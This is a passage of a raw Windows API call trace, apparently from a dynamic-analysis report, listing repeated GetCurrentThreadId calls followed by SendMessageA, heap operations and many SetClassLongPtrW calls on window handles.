__fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.300] GetCurrentThreadId () returned 0xee0 [0053.300] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.301] GetCurrentThreadId () returned 0xee0 [0053.301] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.302] GetCurrentThreadId () returned 0xee0 [0053.302] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.303] GetCurrentThreadId () returned 0xee0 [0053.303] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.304] GetCurrentThreadId () returned 0xee0 [0053.304] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.305] GetCurrentThreadId () returned 0xee0 [0053.305] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.306] GetCurrentThreadId () returned 0xee0 [0053.306] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.307] __fnDWORD () [0053.307] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.308] GetCurrentThreadId () returned 0xee0 [0053.308] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.309] __fnDWORD () [0053.309] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] GetCurrentThreadId () returned 0xee0 [0053.310] __fnDWORD () [0053.310] __fnDWORD () [0053.313] SendMessageA (hWnd=0x3014a, Msg=0x112, wParam=0xf100, lParam=0x0) [0053.313] RtlAllocateHeap (HeapHandle=0x28a0000, Flags=0x8, Size=0x240) returned 0x28a12f0 [0053.313] NtUserDefSetText () returned 0x1 [0053.313] HeapFree (in: hHeap=0x28a0000, dwFlags=0x0, lpMem=0x28a12f0 | out: hHeap=0x28a0000) returned 1 [0053.313] SendMessageA (hWnd=0x50108, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0053.314] SetClassLongPtrW (hWnd=0x20336, nIndex=-8, dwNewLong=0x0) returned 0x389a60 [0053.314] SetClassLongPtrW (hWnd=0x20332, nIndex=-8, dwNewLong=0x0) returned 0x38aff0 [0053.314] SetClassLongPtrW (hWnd=0x2031c, nIndex=-8, dwNewLong=0x0) returned 0x38b480 [0053.314] SetClassLongPtrW (hWnd=0x20316, nIndex=-8, dwNewLong=0x0) returned 0x38b8e0 [0053.314] SetClassLongPtrW (hWnd=0x2032c, nIndex=-8, dwNewLong=0x0) returned 0x38bd40 [0053.314] SetClassLongPtrW (hWnd=0x1033a, nIndex=-8, dwNewLong=0x0) returned 0x38c1e0 [0053.314] SetClassLongPtrW (hWnd=0x10344, nIndex=-8, dwNewLong=0x0) returned 0x38c640 [0053.314] SetClassLongPtrW (hWnd=0x1034e, nIndex=-8, dwNewLong=0x0) returned 0x38caa0 [0053.314] SetClassLongPtrW (hWnd=0x10358, nIndex=-8, dwNewLong=0x0) returned 0x38cf00 [0053.314] SetClassLongPtrW (hWnd=0x10362, nIndex=-8, dwNewLong=0x0) returned 0x38d3a0 [0053.314] SetClassLongPtrW (hWnd=0x1036c, nIndex=-8, dwNewLong=0x0) returned 0x38d800 [0053.314] SetClassLongPtrW (hWnd=0x10376, nIndex=-8, dwNewLong=0x0) returned 0x38dc60 [0053.314] SetClassLongPtrW (hWnd=0x10380, nIndex=-8, dwNewLong=0x0) returned 0x38e0c0 [0053.314] SetClassLongPtrW (hWnd=0x1038a, nIndex=-8, dwNewLong=0x0) returned 0x38e560 [0053.314] SetClassLongPtrW (hWnd=0x10394, nIndex=-8, dwNewLong=0x0) returned 0x38e9c0 [0053.314] SetClassLongPtrW (hWnd=0x1039e, nIndex=-8, dwNewLong=0x0) returned 0x38ee20 [0053.314] SetClassLongPtrW (hWnd=0x103a8, nIndex=-8, dwNewLong=0x0) returned 0x38f2c0 [0053.314] SetClassLongPtrW (hWnd=0x103b2, nIndex=-8, dwNewLong=0x0) returned 0x38f720 [0053.314] SetClassLongPtrW (hWnd=0x103bc, nIndex=-8, dwNewLong=0x0) returned 0x38fb80 [0053.314] SetClassLongPtrW (hWnd=0x103c6, nIndex=-8, dwNewLong=0x0) returned 0x38ffe0 [0053.314] SetClassLongPtrW (hWnd=0x103d0, nIndex=-8, dwNewLong=0x0) returned 0x390480 [0053.314] SetClassLongPtrW (hWnd=0x103da, nIndex=-8, dwNewLong=0x0) returned 0x3908e0 [0053.314] SetClassLongPtrW (hWnd=0x103e4, nIndex=-8, dwNewLong=0x0) returned 0x390d40 [0053.314] SetClassLongPtrW (hWnd=0x103ee, nIndex=-8, dwNewLong=0x0) returned 0x3911e0 [0053.314] SetClassLongPtrW (hWnd=0x103f8, nIndex=-8, dwNewLong=0x0) returned 0x391640 [0053.314] SetClassLongPtrW (hWnd=0x10402, nIndex=-8, dwNewLong=0x0) returned 0x391aa0 [0053.314] SetClassLongPtrW (hWnd=0x1040c, nIndex=-8, dwNewLong=0x0) returned 0x391f00 [0053.314] SetClassLongPtrW (hWnd=0x10416, nIndex=-8, dwNewLong=0x0) returned 0x3923a0 [0053.314] SetClassLongPtrW (hWnd=0x10420, nIndex=-8, dwNewLong=0x0) returned 0x392800 [0053.314] SetClassLongPtrW (hWnd=0x1042a, nIndex=-8, dwNewLong=0x0) returned 0x392c60 [0053.314] SetClassLongPtrW (hWnd=0x10434, nIndex=-8, dwNewLong=0x0) returned 0x3930c0 [0053.314] SetClassLongPtrW (hWnd=0x1043e, nIndex=-8, dwNewLong=0x0) returned 0x393560 [0053.314] SetClassLongPtrW (hWnd=0x11b08, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b10, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b18, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b20, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b28, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b30, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b38, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b40, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b48, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b50, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b58, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b60, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b68, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b70, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b78, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b80, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b88, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b90, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11b98, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11ba0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11ba8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.315] SetClassLongPtrW (hWnd=0x11bb0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11bb8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11bc0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11bc8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11bd0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11bd8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11be0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11be8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11bf0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11bf8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c00, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c08, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c10, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c18, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c20, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c28, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c30, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c38, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c40, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c48, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c50, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c58, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c60, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c68, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c70, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c78, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c80, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c88, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c90, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11c98, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11ca0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11ca8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11cb0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11cb8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11cc0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11cc8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11cd0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.316] SetClassLongPtrW (hWnd=0x11cd8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11ce0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11ce8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11cf0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11cf8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d00, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d08, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d10, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d18, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d20, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d28, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d30, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d38, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d40, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d48, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d50, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d58, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d60, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d68, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d70, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d78, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d80, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d88, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d90, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11d98, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11da0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11da8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11db0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11db8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11dc0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11dc8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11dd0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11dd8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11de0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11de8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11df0, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11df8, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.317] SetClassLongPtrW (hWnd=0x11e00, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e08, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e10, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e18, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e20, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e28, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e30, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e38, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e40, nIndex=-8, dwNewLong=0x37b400) returned 0x0 [0053.318] SetClassLongPtrW (hWnd=0x11e48, nIndex=-8, dwNewLong=0x37b400) returned 